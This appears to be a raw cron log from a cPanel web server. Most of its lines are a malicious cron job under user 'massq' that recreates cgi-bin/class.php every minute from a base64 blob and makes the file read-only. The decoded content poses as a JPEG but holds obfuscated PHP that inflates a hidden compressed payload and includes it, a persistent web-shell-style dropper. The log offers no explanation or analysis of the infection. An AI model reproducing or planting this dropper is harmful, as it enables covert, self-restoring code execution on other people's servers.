Nov 13 01:05:01 server CROND[1914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:05:01 server CROND[1915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:05:01 server CROND[1913]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 01:06:01 server CROND[3029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:07:01 server CROND[3932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:08:01 server CROND[4837]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:09:01 server CROND[5808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:09:01 server CROND[5809]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 01:10:01 server CROND[6717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 01:10:01 server CROND[6720]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:10:01 server CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:10:01 server CROND[6722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:11:01 server CROND[7693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:12:01 server CROND[8799]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 01:12:01 server CROND[8800]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:13:01 server CROND[9797]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:14:01 server CROND[10648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:15:01 server CROND[11626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:15:01 server CROND[11627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:15:01 server CROND[11632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:16:01 server CROND[12608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:17:01 server CROND[13620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
